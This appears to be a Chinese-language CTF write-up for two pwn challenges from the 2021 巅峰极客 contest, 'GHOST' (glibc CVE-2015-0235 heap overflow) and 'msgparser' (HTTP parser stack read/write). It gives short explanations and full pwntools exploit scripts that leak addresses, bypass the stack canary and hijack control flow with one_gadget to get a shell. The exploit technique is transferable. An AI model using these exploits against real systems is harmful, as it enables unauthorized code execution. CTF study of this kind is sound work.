2021巅峰极客

2021巅峰极客pwn

GHOST

cve-2015-0235,glibc2.17

这个漏洞的效果就是会在Buffer里面产生溢出,Buffer_size=Name_size+33也是有意为之了

触发的条件就是NameArr的内容都为"0"(注意是字符0,不是0字节)

然后溢出的字节也是n个字符"0",同时最后有个0字节。后面没去深究了,不太清楚有没有其他的溢出情况

不太了解2.17,索性先当成2.23来思考。本来想着当成off-by-null来做的,但是似乎prev_size不太好控制

所以就想着利用small bin来用这个off-by-null,但由于程序在add的时候一次性会涉及到三个及以上的chunk的操作,堆的布局不太好构造,便想着找个更好的办法

后来的解决办法就是溢出2个"0",即把small binsize覆盖成0x3030的大小

这样再对small bin进行切割之后(实际size已经被修改为0x3030),就得到了一个覆盖后面的超大large bin。只要提前准备好,就可以通过切割large bin,对下面的一大片堆空间进行随意的复用了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
local=0
if local:
sh=process('./pwn')
else:
sh=remote("118.190.217.168",23347)
libc=ELF('./libc.so.6')
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))
def add(idx,size,content):
sla(">>",str(1))
sla("idx:",str(idx))
sla("len:",str(size))
sd(content)
def delete(idx):
sla(">>",str(3))
sla("idx:",str(idx))
def show(idx):
sla(">>",str(2))
sla("idx:",str(idx))

add(0,0xf0,'0\n')
add(1,0x20,"0\n")
add(14,0x68,"0\n")
add(15,0x20,"0\n")
add(13,0x40,"0\n")
add(12,0x60,"0\n")

delete(0)
add(0,0x71,"0\n")
delete(1)
add(1,0x130,"0\n")

delete(0)
add(0,0x72,"0"*0x72)

delete(15)
add(2,0x58,"0\n")

show(0)
addr=u64(rc(6)[-6:].ljust(8,"\x00"))
leak("addr",addr)
heap_base=addr-0x9c0
leak("heap_base",heap_base)

delete(12)
payload="0"
payload=payload.ljust(0x20,"\x00")
payload+=p64(0)+p64(0x31)+p64(0)*4
payload+=p64(0)+p64(0x21)
payload=payload.ljust(0xb0,"\x00")
payload+=p64(heap_base+0x138)+p64(0)*3+"\n"
add(4,0x130,payload)
show(1)
main_arena=u64(ru("\x7f")[-6:].ljust(8,"\x00"))
leak("main_arena",main_arena)
libc_base=main_arena-0x3c1798
leak("libc_base",libc_base)
malloc_hook=libc_base+libc.sym['__malloc_hook']
leak("malloc_hook",malloc_hook)
one_gadget=[0x46262,0x462b8,0xe66b5]
one=libc_base+one_gadget[1]


payload="0\x00"
payload=payload.ljust(0x30,"\x00")
payload+=p64(0)+p64(0x51)
payload+=p64(heap_base+0x480)
payload+=p64(0)*7
payload+=p64(0)+p64(0x71)
payload+=p64(malloc_hook-0x23)
payload+=p64(0)*11
payload+=p64(0)+p64(0x31)
payload+=p64(heap_base+0x420)
payload+=p64(0)*4
payload+=p64(0x71)+p64(malloc_hook-0x23)+"\n"
add(6,0x160,payload)

add(7,0x40,"0\n")

sla(">>",str(1))
sla("idx:",str(8))
sla("len:",str(0x60))
payload='a'*(0x13-0x8)+p64(one)*2
sd(payload+"\n")
ti()

msgparser

是个http类型的题,注意相应的输入能过即可,漏洞点也很明显

在这个进行最终读写操作的函数中,a3来源于用户的输入且没有任何限制

a1是栈上的变量,也就形成了对栈上的任意读写

先泄露canary,再溢出

不过有个问题,canary的低位字节是"\x00",而在对输入进行处理的时候,会调用strlen,然后再用alloca在栈上开辟相应的空间,并进行拷贝

写的时候,payload中的canary存在0字节,后面的内容就会被截断

我的解决办法就是先把canary+1写进payload,防止截断,同时后面用one_gadget覆盖返回地址,因为poprdi+binsh_addr+system的调用链同样存在00截断的问题

接着进行第二次写入,利用栈上的数据,把canary中的"\x01"改为"\x00"即可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
local=0
if local:
sh=process('./pwn')
else:
sh=remote("118.190.217.168",43589)
libc=ELF('./libc-2.27.so')
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))

# gdb.attach(sh)
# pause()
payload="GET /"
payload+=" \n"
payload+="Content-Length:"
payload+=str(0x58)+"\n"
payload+="Host:1"+"\n"
payload+="\r\n"
payload+="\x01"
payload+='a'*0x50+'b'*0x8
sa("msg> ",payload)


payload="GET /"
payload+=" \n"
payload+="Content-Length:"
payload+=str(0x70)+"\n"
payload+="Host:1"+"\n"
payload+="\r\n"
payload+="\x02"
payload+='a'
sa("msg> ",payload)

rc(0x58)
canary=u64(rc(8))
print hex(canary)

addr=u64(ru("\x7f")[-6:].ljust(8,"\x00"))
leak("addr",addr)
libc_base=addr-0x21bf7
leak("libc_base",libc_base)
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search("/bin/sh").next()
poprdi=libc_base+0x00000000000215bf
one_gadget=[0x4f3d5,0x4f432,0x10a41c]
one=libc_base+one_gadget[0]

payload="GET /"
payload+=" \n"
payload+="Content-Length:"
payload+=str(0x68+0x6)+"\n"
payload+="Host:1"+"\n"
payload+="\r\n"
payload+="\x01"
payload+='a'*0x58+p64(canary+1)*2
payload+=p64(one)
sa("msg> ",payload)

payload="GET /"
payload+=" \n"
payload+="Content-Length:"
payload+=str(0x59)+"\n"
payload+="Host:1"+"\n"
payload+="\r\n"
payload+="\x01"
payload+='a'*0x58+"\x00"

sa("msg> ",payload)

sla("msg> ","1")
ti()
0%